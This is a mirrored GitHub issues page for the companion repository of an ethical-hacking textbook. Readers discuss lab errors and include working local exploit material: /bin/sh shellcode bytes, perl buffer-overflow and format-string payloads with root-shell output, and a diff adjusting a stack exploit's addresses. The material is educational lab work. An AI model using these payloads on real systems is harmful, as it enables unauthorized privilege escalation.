GithubHelp home page GithubHelp logo

grayhathacking / ghhv5 Goto Github PK

View Code? Open in Web Editor NEW
174.0 174.0 65.0 98.12 MB

Official code repository for: Gray Hat Hacking, The Ethical Hacker's Handbook, 5th Edition.

Python 33.04% C 37.87% Shell 6.83% JavaScript 0.17% HTML 22.10%

ghhv5's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ghhv5's Issues

Lab 12-6 - Multiple editing issues

Not directly related to this repository, but I've found several editing issues inside the Lab 12-6 section:

The figure has no 'Figure' tag (same goes for the figure in the previous lab). Not a big deal though, however there is two description errors inside the diagram. The third field after the buffer is written as '%3$n' which doesn't match the format string '%6$n' used later in the FMTSTR environment variable. Note that both the third direct parameter and the sixth are working on my setup, but mixing both can be a little bit confusing.

Also I think the figure's arrow 'Saved EIP' points to 'Addr of execl()' and not to 'Addr of printf()' as it should be. As soon as the overflow in the vulnerable function occurs, the first call should be to 'printf()' and not to 'execl()'.

Also the arrow to 'Return Address After printf()' should point to 'Addr of execl()', as it's the second function to call after printf().

A bit further, the code block showing the use of environment variables and the execution of './getenv' is a bit wrong. As the utility has been renamed to report the correct env variable addresses, it should be called './gtenv', as bellow:

$ export FMTSTR="%6\$n"
echo $FMTSTR
%6$n
$ ./gtenv FMTSTR
FMTSTR is located at 0xffffdf18
$ export WRAPPER="./wrapper"
$ echo $WRAPPER
./wrapper
$ ./gtenv WRAPPER
WRAPPER is located at 0xffffdf13

As a side note, I do confirm the successful exploitation on amd64:

$ ./vuln2 `perl -e 'print "A"x15 . "\xc0\x4a\xe2\xf7" . "\x40\x25\xe9\xf7" . "\x18\xdf\xff\xff" . "\x13\xdf\xff\xff" . "\x13\xdf\xff\xff" . "\xcc\xd5\xff\xff"'`
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),100(users)

The only change made is to compile 'vuln2.c', 'wrapper.c' and 'getenv.c' using the '-m32' gcc flag.

Regards

Lab 11-2 : components of exploit

When I run shellcode it is showing segmentation fault and iam not able to get root shell, I disabled ASLR but it is showing segmentation fault

Lab 11-3 Exploiting Stack Overflows from the Command line

Hi, First of all thanks for the awesome book with the even nicer content!

I'm stuck for 1 month now, hopefully you can help me further to see what i'm doing wrong.
During lab 11-3 the calculated shellcode size returns 53 instant of 59 what is given in the book.
perl -e ‘print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";’ > sc

image

This isn't a big deal because it should still work. I've readed the text carefull multiple times and also readed the entire "for further reading" pages. From different calculation with the NOP sled till brute forcing the amount of Nop sled bytes (yep I'm de desperate :) ) it didn't worked out. I even tryed little endian as well as big endian haha...

Im using a 32-bit kali machine with of course ASLR disbled.
The following address is used as the repeating return address: 0x0ffff3fc which is \xfc\xf3\xff\xff\x0f in little endian

image

My calculation looks like: (412 bytes – 200 bytes of NOP – 53 bytes of shellcode) / 4 bytes of Addresses = 39.75. I changed it to 39 bytes, and increased the NOP from 200 till 203 which brought me to a total sum of 412.

gdb output shows a strlen error?: gdb -q --args ./meet Vincent perl -e 'print "\x90"x203 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xfc\xf3\xff\xff\x0f'``

image

If you need some additional information to help me further let me know. I'm already happy with a example exploit which recently worked, where I can break it down in pieces to see the differences.

Thanks in advance!

Part 3 - Bypassing SEHOP Contributions

I copied the Proof of Concept from the book as I was unable to find a copy of it on this repository. I made a few changes to the code so it's a bit more readable and I modified the buffer size in main() so the controllable memory address on the stack meet the exploitation criteria needed to bypass SEHOP.

I also crafted a python-based exploit for bypassing the SEHOP protection on Windows 7 (x86) and Windows 10 (x64). My exploit is relatively similar to the book's version, excepted it's written in Python and is running perfectly on both patched Windows 7 and Windows 10. On Win10, you will have to run multiple times the executable with the malformed input file to have the correct final SE handler address. I've found that Windows 10 is changing the last byte of the SE Handler address, and the latter must match to pass the SEHOP check routine. It takes about 10-40 tries until execution of the payload which is not that much in a local privilege escalation scenario ;-)

I've published the source code of the python exploit, the modified PoC, including the PE/COFF executable and its .DLL file in my repository at: https://github.com/e3prom/miscsec/tree/master/GHHv5-SEHOP-Bypass

I also added a registry file to enable (or disable) SEHOP on Windows 7. Simply run it and it will enable SEHOP for 'fool.exe'. Modify the value to '1' and it will turn off SEHOP (may be necessary for debugging the exception handler under Immunity Debugger).

I hope these contributions will be of help to the book's readers and to anybody interested in SEHOP protection. Feel free to copy/redistribute/reference my contribution in this repository if necessary.

Regards

When I download the lab-3-3 code it opens some other file

I can view the correct code file here but when I wget to it it opens as some other html file.
I tried both the link written in the lab, lcamtuf.coredump.cx/afl/releases/afl-latest.tgz and github.com/GrayHatHacking/GHHv5/blob/master/ch03/lab-3-3/asdf.c

Lab 11-4 - Stack Memory Alignment Fix for exploit2.c on amd64

In Lab 11-4: Bypassing Stack Protection,

The stack may be aligned slightly differently on amd64 (e,g. kali 2018.2 x86_64). I think some readers may be using an x86_64 host and compile the PoCs and exploit codes using the '-m32' gcc flag to create ELF32 binaries. At least this is what I did, and it does works for most labs.

The lab's target program 'smallbuf' has been compiled without the GNU_STACK ELF markings (NX bit):

# gcc -m32 -mpreferred-stack-boundary=2 -z execstack -o smallbuf smallbuf.c
# chown root:root smallbuf
# chmod u+s smallbuf

Using GDB we can see the stack is not aligned as mentioned in the book, therefore the example exploit will be using and referencing invalid memory addresses:

$ file ./smallbuf
./smallbuf: setuid ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d1cf6dff62ccc6221230c6a472c2ebf8e3b32837, not stripped
$ gdb ./smallbuf 
[...]
(gdb) info proc mappings
process 12921
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
        [output omitted for brevity]
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Here's a patch for exploit2.c, so the payload is aligned properly from the end of the stack, from address 0xffffe000-0xa or 0xffffdff6.

--- exploit2.c	2018-07-11 11:37:14.617498408 -0400
+++ exploit2_lol64.c	2018-07-11 12:10:30.488914583 -0400
@@ -28,7 +28,7 @@
    int *ptr, i, addr,addr_argc,addr_eip;
    // calculate the exact location of the shellcode
    //addr = (int) &shellcode;
-   addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
+   addr = 0xffffdff6 - strlen(shellcode) - strlen(VULN);
    addr += 4;
    addr_argc = addr;
    addr_eip = addr_argc + 4;
@@ -50,7 +50,7 @@
       *ptr++ = addr;
    }
    /* this is the address for exploiting with
-    * gcc -mpreferred-stack-boundary=2 -o smallbuf smallbuf.c */
+    * gcc -m32 -mpreferred-stack-boundary=2 -o smallbuf smallbuf.c */
    *ptr = addr_eip;
 
    //call the program with execle, which takes the environment as input

And the successful exploitation with Stack Protection enabled:

$ gcc -m32 exploit2_lol64.c -o exploit2
$ ./exploit2 
[***] using fake argc address: 0xffffdfb3
[***] using shellcode address: 0xffffdfb7
��������1�1۰�̀��^�1��F�F
                       �
                        ����V
                             1ۉ�@̀�����/bin/sh
# id
uid=0(root) gid=100(users) groups=100(users),27(sudo)

Regards

Missing File

Hi, I try to do the lab CH11_6 wich is a network application buffer overflow , but I coudn't found this app in github repository of the book. Thx

Lab 11-5 Exploiting Small Buffers issue

I've been working through and very much enjoying the book for the past couple of weeks, but have recently been stumped by Lab 11-5. I have used the code from this GitHub repository on a 32-bit Kali Linux VM with ASLR disabled. Upon running exploit2, I get the same text printed to screen as is shown in the book but the user ID doesn't change, as far as I can tell the shell code doesn't execute at all. Has there been an update that prevents this particular exploit from working?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.